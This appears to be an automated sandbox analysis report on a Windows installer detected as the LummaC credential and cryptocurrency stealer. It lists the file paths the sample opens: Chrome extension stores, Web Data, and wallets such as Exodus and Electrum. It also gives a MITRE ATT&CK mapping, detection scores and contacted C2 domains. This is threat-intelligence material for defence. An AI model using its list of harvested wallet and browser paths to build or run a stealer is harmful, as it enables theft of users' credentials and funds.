Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Directory queried: number of queries: 1001

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Input Capture	23 File and Directory Discovery	Remote Desktop Protocol	21 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	2 Obfuscated Files or Information	Security Account Manager	226 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	521 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	221 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
installer_1.05_36.8.exe	12%	Virustotal		Browse
installer_1.05_36.8.exe	5%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	78%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-1NSIN.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-1NSIN.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-S5E0S.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-S5E0S.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	8%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\is-TDUHA.tmp	8%	ReversingLabs

Source	Detection	Scanner	Label
https://jrsoftware.org0	0%	Avira URL Cloud	safe
https://jrsoftware.org/	0%	Avira URL Cloud	safe
http://michaeluno.jp/CA498BC144886901448821408869FF408871FE4883C10448FFC875E84803D349FFC875DA8B8C249	0%	Avira URL Cloud	safe
siffinisherz.sbs	0%	Avira URL Cloud	safe
https://siffinisherz.sbs/api	0%	Avira URL Cloud	safe
http://michaeluno.jp/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
siffinisherz.sbs	104.21.96.1	true	true	unknown
klipvumisui.shop	172.67.208.58	true	false	high
TMrpvriLnIKTuysIDWwGP.TMrpvriLnIKTuysIDWwGP	unknown	unknown	false	unknown
dfgh.online	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://klipvumisui.shop/int_clp_sha.txt	false		high
rabidcowse.shop	false		high
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://cegu.shop/8574262446/ph.txt	false		high
framekgirus.shop	false		high
siffinisherz.sbs	true	Avira URL Cloud: safe	unknown
https://siffinisherz.sbs/api	true	Avira URL Cloud: safe	unknown
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	M6BJM5KUQF518S8VT.exe, 00000013.00000000.2197290790.00000000009E1000.00000020.00000001.01000000.0000000A.sdmp, M6BJM5KUQF518S8VT.exe.12.dr	false		high
https://duckduckgo.com/ac/?q=	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://repository.certum.pl/cscasha2.cer0	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://ocsp.sectigo.com0	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.usertr	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000011.00000002.2139406602.0000000005131000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2139226308.0000000003480000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Likewise.com, 0000000C.00000003.2038265788.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038211162.0000000003981000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/autoit3/	Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000011.00000002.2139406602.0000000005131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.remobjects.com/ps	M6BJM5KUQF518S8VT.exe, 00000013.00000003.2208743854.000000007F3AB000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.exe, 00000013.00000003.2205467379.0000000002ECF000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000000.2211494142.00000000005E1000.00000020.00000001.01000000.0000000B.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000000.2230536348.00000000003CD000.00000020.00000001.01000000.0000000D.sdmp, M6BJM5KUQF518S8VT.tmp.19.dr, M6BJM5KUQF518S8VT.tmp.21.dr	false		high
http://x1.c.lencr.org/0	Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/Sectig	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Likewise.com, 0000000C.00000003.2038265788.00000000010BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com01	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://contoso.com/	powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	false		high
